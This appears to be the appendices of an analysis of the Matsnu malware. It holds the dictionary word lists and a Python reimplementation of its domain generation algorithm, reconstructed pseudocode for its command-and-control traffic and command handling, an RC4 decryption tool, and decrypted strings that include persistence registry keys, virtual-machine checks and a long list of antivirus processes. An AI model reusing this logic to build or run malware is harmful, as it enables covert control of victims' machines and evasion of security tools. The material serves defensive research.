spend
talk
upset
tell
cost
drive
support
remove
return
run
appropriate
reserve
leave
reach
rest
serve
watch
charge
break
stay
visit
affect
cover
report
rise
walk
pick
lift
mix
stop
teach
concern
fly
born
gain
save

stand
fail
lead
listen
worry
express
handle
meet
release
sell
finish
press
ride
spread
spring
wait
display
flow
hit
shoot
touch
cancel
cry
dump
push
select
conflict
die
eat
fill
jump
kick
pass
pitch
treat
abuse
beat
burn
deposit
print
raise
sleep
advance
connect
consist
contribute
draw
fix
hire
join
kill
sit
tap
win
attack
claim
drag
drink

guess
pull
wear
wonder
count
doubt
feed
impress
repeat
seek
sing
slide
strip
wish
collect
combine
command
dig
divide
hang
hunt
march
mention
survey
tie
escape
expose
gather
hate
repair
scratch
strike
employ
hurt
laugh
lay
respond
split
strain
struggle
swim
train
wash
waste
convert
crash
fold
grab
hide
miss
permit
quote
recover
resolve
roll
sink
slip
suspect

swing
twist
concentrate
estimate
prompt
refuse
regret
reveal
rush
shake
shift
shine
steal
suck
surround
bear
dare
delay
hurry
invite
kiss
marry
pop
pray
pretend
punch
quit
reply
resist
rip
rub
smile
spell
stretch
tear
wake
wrap
was
like
even
film
water
been
well
were
example
own
study
must
form
air
place
number
part
field
fish
process
heat

hand
experience
job
book
end
point
type
value
body
market
guide
interest
state
radio
course
company
price
size
card
list
mind
trade
line
care
group
risk
word
force
light
name
school
amount
order
practice
research
sense
service
piece
web
boss
sport
page
term
test
answer
sound
focus
matter
soil
board
oil
picture
access
garden
open
range
rate
reason

according
site
demand
exercise
image
case
cause
coast
age
boat
record
result
section
building
mouse
cash
class
dry
plan
store
tax
involved
side
space
rule
weather
figure
man
model
source
earth
program
design
feature
purpose
question
rock
act
birth
dog
object
scale
sun
fit
note
profit
related
rent
speed
style
war
bank
content
craft
bus
exchange
eye
fire

position
pressure
stress
advantage
benefit
box
complete
frame
issue
limited
step
cycle
face
interested
metal
paint
review
room
screen
structure
view
account
ball
concerned
discipline
ready
share
balance
bit
black
bottom
gift
impact
machine
shape
tool
wind
address
average
career
culture
pot
sign
table
task
condition
contact
credit
egg
hope
ice
network
separate
attempt
date
effect
link
perfect

post
star
voice
challenge
friend
warm
brush
couple
exit
experienced
function
lack
plant
spot
summer
taste
theme
track
wing
brain
button
click
correct
desire
fixed
foot
gas
influence
notice
rain
wall
base
damage
distance
pair
staff
sugar
target
text
author
complicated
discount
file
ground
lesson
officer
phase
reference
register
secure
sky
stage
stick
title
trouble
advanced
bowl
bridge

campaign
club
edge
evidence
fan
letter
lock
option
organized
pack
park
quarter
skin
sort
weight
baby
carry
dish
exact
factor
fruit
muscle
traffic
trip
appeal
chart
gear
land
log
lost
net
season
spirit
tree
wave
belt
bench
closed
commission
copy
drop
firm
frequent
progress
project
stuff
ticket
tour
angle
blue
breakfast
doctor
dot
dream
essay
father
fee
finance
juice
luck
milk
mixed
mouth
pipe
please
stable
storm
team
amazing
bat
beach
blank
busy
catch
chain
cream
crew
detail
detailed
interview
kid
mark
pain
pleasure
score
screw
sex
sharp
shop
shower
suit
tone
window
wise
band
bath
block
bone
calendar
candidate
cap
coat
contest
court
cup
district
finger
garage
guarantee
hole
hook
implement
layer
lecture
lie
married
narrow
nose
partner
profile
rice
schedule
telephone
tip
bag
battle
bed
bill
bother
cake
code
curve
dimension
ease
farm
fight
gap
grade
horse
host
husband
loan
mistake
nail
noise
occasion
package
pause
phrase
race
sand
sentence
shoulder
smoke
stomach
string
surprised
towel
vacation
wheel
arm
associate
bet
blow
border
branch
breast
buddy
bunch
chip
coach
cross
document
draft
dust
floor
golf
habit
iron
judge
knife
landscape
league
mail
mess
parent
pattern
pin
pool
pound
request
salary
shame
shelter
shoe
tackle
tank
trust
assist
bake
bar
bell
bike
blame
brick
chair
closet
clue
collar
comment
conference
devil
diet
fear
fuel
glove
jacket
lunch
monitor
mortgage
nurse
pace
panic
peak
provided
reward
row
sandwich
shock
spite
spray
surprise

till
transition
weekend
yard
alarm
bend
bicycle
bite
blind
bottle
cable
candle
clerk
cloud
concert
counter
dirty
flower
grandfather
harm
knee
lawyer
load
loose
mirror
neck
pension
plate
pleased
proposed
ruin
ship
skirt
slice
snow
stroke
switch
tired
trash
tune
worried
zone
anger
award
bid
boot
bug
camp
candy
carpet
cat
champion
channel
clock
comfort
cow
crack
disappointed
empty
engineer
entrance
fault
grass
guy
highlight
island
joke
jury
leg
lip
mate
nerve
passage
pen
pride
priest
promise
resort
ring
roof
rope
sail
scheme
script
slight
smart
sock
station
toe
tower
truck
witness

DGA

Main Module (matsnu_dga.py)

```
import sys
import datetime
import string

def is_hex(s):
  if not s.startswith('0x'):
    return False
  s = s[2:]
  hex_digits = set(string.hexdigits)
  # if s is long, then it is faster to check against a set
  return all(c in hex_digits for c in s)

def is_valid_int(arg):
  if not is_hex(arg):
    if not arg.isdigit():
      return None
    else:
      value = int(arg)
  else:
    value = int(arg, 16)
  return value

def parse_dict_file(fname):
  dict0 = []
  dict1 = []
  try:
    with open(fname, 'rb') as f:
      dict0 = f.read().split('\n')
      for i in range(len(dict0)):
        dict0[i] = dict0[i].rstrip()
        if dict0[i]:
          dict1.append(dict0[i])
  except Exception as e:
    print 'read error: ' + str(e)
    sys.exit(1)

  return dict1

def write_file(fname, cont, separator = ''):
  try:
    with open(fname, 'wb') as f:
      for d in cont:
        f.write(d + separator)
  except Exception as e:
    print 'Write error: ' + str(e)
    sys.exit(1)

def append_file(fname, cont, separator = ''):
  try:
```



```
with open(fname, 'a') as f:
      for d in cont:
        f.write(d + separator)
  except Exception as e:
    print 'Write error: ' + str(e)
    sys.exit(1)

class domain_generator:
  def __init__(self, dict1, dict2):
    self.const1 = 0xef5eb
    self.const2 = 0x39339

    self.dict1 = dict1
    self.dict2 = dict2

  def get_days_since_epoch(self):
    epoch = datetime.datetime.utcfromtimestamp(0)
    today = datetime.datetime.today()
    d = today - epoch
    return d.days

  def choose_next_word(self, dictionary):
    self.seed &= 0xffff
    self.seed = (self.seed * self.const1) & 0xffff
    self.seed = (self.seed * self.time) & 0xffff
    self.seed = (self.seed * self.const2) & 0xffff
    self.seed = (self.seed * self.next_domain_no) & 0xffff
    self.seed = (self.seed ^ self.const1) & 0xffff

    rem = self.seed % len(dictionary)
    return dictionary[self.seed % len(dictionary)]

  def generate_domain(self):
    domain = ''
    self.parity_flag = 0
    while len(domain) < 0x18:
      if len(domain) > 0xc:
        break
      if len(domain) == 0:
        domain += self.choose_next_word(self.dict1)
      elif self.parity_flag == 0:
        domain += self.choose_next_word(self.dict1)
      else:
        domain += self.choose_next_word(self.dict2)
      self.parity_flag = (self.parity_flag + 1) % 2

      if self.seed & 0x1 == 0x1:
        domain += '-'

    if domain[-1] == '-':
      domain = domain[:-1]

    domain += '.com'
    self.next_domain_no += 1
    return domain
```



```
def generate_domains(self, loops, domains, time):
    domains_list = []

    # DGA works as follows: generate domains for the current and loops - 1 previous
days
    time -= (loops - 1)

    for l in range(loops):
      self.seed = 1
      self.next_domain_no = 1
      self.time = time + l

      for d in range(domains):
        domains_list.append(self.generate_domain())

    return domains_list
```

Domains generator

```
import sys
import matsnu_dga
import datetime

def unique_list(l):
  rl = []
  for e in l:
    if e not in rl:
      rl.append(e)
  return rl

def days_since_epoch(d):
  epoch = datetime.datetime.utcfromtimestamp(0)
  dse = d - epoch
  return dse.days

def domains_gen(date_from, date_to, dict1, dict2):
  dga = matsnu_dga.domain_generator(dict1, dict2)

  domains = []
  for d in range(date_from, date_to + 1):
    dd = dga.generate_domains(3, 10, d)
    domains += dd

  return domains

def main():
  if len(sys.argv) < 8:
    print 'usage: ' + sys.argv[0] + '--from from-date --to to-date dict1 dict2 out-
file [--unique-domains]'
    sys.exit(1)

  dict1 = matsnu_dga.parse_dict_file(sys.argv[5])

  dict2 = matsnu_dga.parse_dict_file(sys.argv[6])
```



```
  if sys.argv[1] != '--from':
    print 'Invalid arg: ' + sys.argv[1] + ', should be --from'
    sys.exit(1)
  date_from = datetime.datetime.strptime(sys.argv[2], '%d.%m.%Y')
  days_from = days_since_epoch(date_from)

  if sys.argv[3] != '--to':
    print 'Invalid arg: ' + sys.argv[3] + ', should be --to'
    sys.exit(1)
  date_to = datetime.datetime.strptime(sys.argv[4], '%d.%m.%Y')
  days_to = days_since_epoch(date_to)

  if days_from > days_to:
    print '--from date should be less equal than --to date'
    return sys.exit(1)


  print '[+] Generating domains...'
  domains = domains_gen(days_from, days_to, dict1, dict2)
  print '[+] Domains were generated'

  if len(sys.argv) > 8:
    if sys.argv[8] == '--unique-domains':
      print '[+] Cleaning domains...'
      domains = unique_list(domains)
      print '[+] Domains were cleaned'

  dom_metadata = [ 'From: ' + sys.argv[2], 'To:' + sys.argv[4], 'DGA:' ]
  for d in domains:
    dom_metadata.append(d)
  matsnu_dga.write_file(sys.argv[7], dom_metadata, '\r\n')


if __name__ == '__main__':
  main()
  sys.exit(0)
```


Appendix B –
Initial C&C server communication functions

```
def init_cc_communication(base64_enc_sysinfo):
  AES_KEY = generate_alpha_key(rand(0x20, 0x40))
  GET_KEY = base64_encode(fill_cc_string('get=sysinfo'))
  query_par = get_resource_params_query()
  PACKET = 'GET='+GET_KEY+'&AES='+AES_KEY+'&sysinfo'=base64_enc_sysinfo
  crc32_packet = crc32(PACKET)
  enc_packet = RSA.encrypt(pub_key, 0x800, PACKET)
  enc_packet_base64 = base64_encode(enc_packet)
  enc_data_query_param = generate_alpha_key(rand(0x1, 0x3))
  enc_data_query_param += ('=' + enc_packet_base64)
  dns_response = dns_query_wrapper(query_par,enc_data_query_param,AES_KEY)
  return dns_response


def dns_query_wrapper(query_par, enc_data_query_param, aes):
  enc_data_len = len(enc_data_query_param)
  os.sleep(rand())
  mutex.acquire()
  dec_url = decrypt_data(domain_key, enc_domain, domain_len)
  mutex.release()
  ret_code = make_dns_query(dec_url)
  if ret_code == 0:
    return None
  if not dec_url.finishwith('.php')
    r = random.randint(0x3, 0x7)
    query_param = generate_alpha_key(r)
    dec_url += '/' + query_param + '.php'
  dec_url += query_par
  data = communicate_with_cc(dec_url,enc_data_query_param,enc_data_len)
  if data is None:
    return None
  dec_data = decrypt_received_data(data, aes)
  if data is None:
    return None
  cmd_code = packet_routine(dec_data)
  return cmd_code


def make_dns_query(url):
  domain = get_domain_from_url(url)
  dns_response = dns_query(domain, dns_record)
  if dns_response == ERROR:
    return 0
  dns_sinkhole = is_forbidden(dns_record) # sinkhole, DOMAINCOTROL and C&C server
specified
  if dns_sinkhole:
    return 0
  return 1

def communicate_with_cc(url, enc_data_query_param, edqp_len):
  prot = check_protocol(url) # http, ftp, or https
  user_agent = 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR
1.0.2914)'
```

```
  verb = 'POST'
  version = 'HTTP/1.0'
  headers = [ 'Content-Type: application/x-www-form-urlencoded' ]
  r=send_handler[prot](url,user_agent,verb,version,headers,
                       enc_data_query_param)
  return r


def decrypt_received_data(enc_data, aes):
  new_aes = aes + '6FFwof@fo1#049SfkxZ'
  left = len(enc_data)
  if left < 0x20:
    return None
  aes_256_key = sha256(new_aes)
  packet_header = enc_data[:0x10]
  packet_cont = enc_data[0x10:]
  packet_cont = aes.decrypt(aes_256_key, packet_cont)
  for i in range(0x10):
    packet_cont[i] ^= packet_header[i]
  return packet_cont


def packet_routine(decrypted_packet):
  found = decrypted_packet.find(':')
  packet = decrypted_packet[found + 1:]
  crc32_hdr = crc32(decrypted_packet[:found + 1])
  if crc32_hdr not in COMMANDS:
    return
  data = packet_validate(crc32_hdr, packet)
  if data is None:
    return None
  return data[1]


def packet_validate(hdr, cont):
  if len(cont) < 0x8:
    return None
  cont_len = struct.unpack('<I', cont[:4])[0]
  crc32_sum = struct.unpack('>I', cont[4:8])[0]
  if len(cont[8:]) < cont_len:
    return None
  if crc32_sum != crc32(cont[8:]):
    return None
  return (cont[8:], CMD_CODE[hdr])
```

Appendix C – Main communication loop

```
def epilog_routine(ret_code, code):
  if ret_code != WAIT:
    send_idt_code_info()
    if ret_code == UPGRADE and code == 0:
```



```
      send_additional_info()
    if ret_code == UPGRADEURL and code == 0:
      send_additional_info()

def main_communication_loop():
  ret_code, packet_cont = get_response_from_cc()
  packet_len = len(packet_cont)
  if ret_code == WAIT:
    error_code = 0x0
    return
  if packet_cont is None:
    code = 0x29a
    epilog_routine(ret_code, code)
    return
  data = packet_cont.split(':')
  if data is None:
    code = 0x3e7
    epilog_routine(ret_code, code)
    return
  parsed_data = data[1]
  if len(data[0] + ':') > 0xB:
    code = 0x3e6
    epilog_routine(ret_code, code)
    return
  packet_len -= len(parsed_data)
  ebp_18 = int(packet_cont)
  if ret_code == EXECUTE:
    code = execute_code()
  elif ret_code == UPGRADE:
    code = upgrade()
  elif ret_code == LOAD:
    resp = communicate_with_cc()
    if resp is None:
      code = 0x14
    else:
      code = execute(resp)
  elif ret_code == UPGRADEURL:
    resp = communicate_with_cc()
    if resp is None:
      code = 0x14
    else:
      code = upgrade(resp)

  epilog_routine(ret_code, code)
```


Appendix D – RC4 data decrypter

```
import sys
import base64
import md5

def read_file(fname):
  try:
    with open(fname, 'rb') as f:
      cont = f.read()
      return cont
  except Exception as e:
    print 'Read error: ' + str(e)
    sys.exit(1)

def write_file(fname, cont, separator = ''):
  try:
    with open(fname, 'wb') as f:
      for d in cont:
        f.write(d + separator)
  except Exception as e:
    print 'Write error: ' + str(e)
    sys.exit(1)

class matsnu_decrypter:
  def __init__(self, key):
    self.key = md5.new(key).digest()


  def decrypt(self, data):
    return self.rc4crypt(data)


  def rc4crypt(self, data):
    x = 0
    box = range(256)
    for i in range(256):
      x = (x + box[i] + ord(self.key[i % len(self.key)])) % 256
      box[i], box[x] = box[x], box[i]
    x,y = 0, 0
    out = []
    for char in data:
      x = (x + 1) % 256
      y = (y + box[x]) % 256
      box[x], box[y] = box[y], box[x]
      out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
    return ''.join(out)


  def base64_str_decrypt(self, data, splitter = 0x0):
    dec = []
    base64_s = data.split(chr(splitter))
    for s in base64_s:
        dec.append(self.decrypt(base64.b64decode(s)))
```

```
return dec


  def decrypt_chunk(self, data):
    dec = self.decrypt(data)
    return dec


if __name__ == "__main__":
  if len(sys.argv) < 5:
    print 'usage: '  + sys.argv[0] + ' type=<base64, plain> key-file enc-file out-
file'
    sys.exit(1)

  dec_type = sys.argv[1].rstrip()

  if dec_type != 'base64' and dec_type != 'plain':
    print 'type: ' + dec_type + ' is invalid, use <base64, plain>'
    sys.exit(1)
  cont = read_file(sys.argv[2]).rstrip()
  matsnu_dec = matsnu_decrypter(cont)
  cont = read_file(sys.argv[3])

  print '[+] Decrypting data...'
  if dec_type == 'base64':
    dec = matsnu_dec.base64_str_decrypt(cont)
    print '[+] Data decrypted'
    write_file(sys.argv[4], dec, '\r\n')
  else:
    dec = matsnu_dec.decrypt(cont)
    print '[+] Data decrypted'
    write_file(sys.argv[4], [dec])
```


Appendix E –
Decrypted list of possibly infected processes

```
arp.exe
at.exe
attrib.exe
bootcfg.exe
cacls.exe
calc.exe
charmap.exe
chkdsk.exe
chkntfs.exe
cipher.exe
cleanmgr.exe
cmdl32.exe
cmmon32.exe
compact.exe
convert.exe
diskperf.exe
dplaysvr.exe
dpnsvr.exe
driverquery.exe
dvdplay.exe
dvdupgrd.exe
dwwin.exe
dxdiag.exe
eventcreate.exe
expand.exe
extrac32.exe
find.exe
fixmapi.exe
fltmc.exe
fontview.exe
fsutil.exe
ftp.exe
gpresult.exe
gpupdate.exe
grpconv.exe
iexpress.exe
ipconfig.exe
label.exe
lodctr.exe
logagent.exe
mobsync.exe
net1.exe
netstat.exe
notepad.exe
openfiles.exe
ping.exe
powercfg.exe
presentationhost.exe
print.exe
proquota.exe
rasautou.exe
rasdial.exe
rasphone.exe
recover.exe
reg.exe
regini.exe
regsvr32.exe
relog.exe
runas.exe
rundll32.exe
runonce.exe
sc.exe
sethc.exe
sfc.exe
shutdown.exe
sort.exe
subst.exe
systeminfo.exe
taskkill.exe
tasklist.exe
taskmgr.exe
tcpsvcs.exe
tracerpt.exe
typeperf.exe
unlodctr.exe
utilman.exe
vssadmin.exe
w32tm.exe
wextract.exe
wiaacmgr.exe
wpdshextautoplay.exe
wscript.exe
xcopy.exe
```


Appendix F – Decrypted data chunk

```
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
RME83921
EnumDisplayDevicesA
HARDWARE\ACPI\DSDT\PTLTD_
VmWare
HARDWARE\ACPI\DSDT\VBOX__
VirtualBox
HARDWARE\ACPI\DSDT\AMIBI
VirtualPC
DRIVE_NO_ROOT_DIR
DRIVE_REMOVABLE
DRIVE_FIXED
DRIVE_REMOTE
DRIVE_CDROM
DRIVE_RAMDISK
DRIVE_UNKNOWN
HARDWARE\DESCRIPTION\System\CentralProcessor\%u
ProcessorNameString
ProcessorNameString
ID:
Computer name:
User name:
Target process:
Windows version:
SystemLangID:
UserLangID:
CPU:
GPU:
VM:
Drives:
AV:
sysinfo=
get=sysinfo
id=%s&mynum=%u&ver=%s&cvr=%u&threadid=%u&lang=0x%04X&os=%s&crcblw=%08x&%s
GET=%s&AES=%s
get=cmd
idt=%u&code=%u
get=raport
get=config
WAIT
DLLLIST
PROCLIST
BLWORDS
--- WAIT ---
dlllist=%s&proclist=%s
IsWow64Process
Wow64EnableWow64FsRedirection
shutdown.exe -r -f -t 0
ftp://
```



```
http://
https://
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)
Content-Type: application/x-www-form-urlencoded
avgcsrvx.exe,avgemcx.exe,avgidsagent.exe,avgnsx.exe,avgrsx.exe,avgtray.exe,avgwd
svc.exe,vprot.exe,toolbarupdater.exe,avgfws.exe,avastsvc.exe,avastui.exe,afwserv
.exe,avguard.exe,avshadow.exe,avgnt.exe,sched.exe,avwebgrd.exe,avmailc.exe,avfws
vc.exe,egui.exe,ekrn.exe,dwengine.exe,dwservice.exe,dwnetfilter.exe,frwl_svc.exe
,frwl_notify.exe,spideragent.exe,avp.exe,op_mon.exe,acs.exe,ccsvchst.exe,elogsvc
.exe,nhs.exe,nigsvc32.exe,niguser.exe,njeeves.exe,nnf.exe,npfsvc32.exe,npfuser.e
xe,nprosec.exe,npsvc32.exe,nsesvc.exe,nvcoas.exe,nvoy.exe,zanda.exe,zlh.exe,popw
ndexe.exe,ravmond.exe,rsmgrsvc.exe,rstray.exe,cfp.exe,clps.exe,clpsls.exe,cmdage
nt.exe,unsecapp.exe,avkproxy.exe,avkservice.exe,avktray.exe,avkwctl.exe,gdscan.e
xe,gdfirewalltray.exe,gdfwsvc.exe,akvbackupservice.exe,tsnxgservice.exe,bdagent.
exe,vsserv.exe,updatesrv.exe,uiwatchdog.exe,coreserviceshell.exe,coreframeworkho
st.exe,uiseagnt.exe,pctssvc.exe,pctsauxs.exe,pctsgui.exe,fpavserver.exe,fprottra
y.exe,agent.exe,iptray.exe,psimsvc.exe,pshost.exe,pavsrvx86.exe,psctrls.exe,pavj
obs.exe,psksvc.exe,pavfnsvr.exe,tpsrv.exe,webproxy.exe,avengine.exe,pavprsrv.exe
,srvload.exe,apvxdwin.exe,pavbckpt.exe,fsorsp.exe,fsgk32st.exe,fshoster32.exe,fs
gk32.exe,fsma32.exe,fsdfwd.exe,fsm32.exe,msseces.exe,mcagent.exe,mcshield.exe,mc
svhost.exe,mfefire.exe,mfevtps.exe,mcpvtray.exe,bullguard.exe,bullguardbhvscanne
r.exe,bullguardscanner.exe,bullguardupdate.exe,emlproxy.exe,onlinent.exe,opssvc.
exe,quhlsvc.exe,sapissvc.exe,scanmsg.exe,scanwscs.exe,sbamsvc.exe,sbantray.exe,s
bpimsvc.exe,vbcmserv.exe,vbsystry.exe,adaware.exe,adawarebp.exe,adawareservice.e
xe,wajamupdater.exe,arcaconfsv.exe,arcamainsv.exe,arcaremotesvc.exe,arcataskserv
ice.exe,avmenu.exe,guardxkickoff.exe,guardxservicce.exe,confirm.dll,core.dll,fla
sh.dll,imun.dll,imunsvc.exe,share.dll,panda_url_filtering.exe,psanhost.exe,psunm
ain.exe,solocfg.exe,solosent.exe,vba32ldr.exe,vbascheduler.exe
ENDDDDD
```

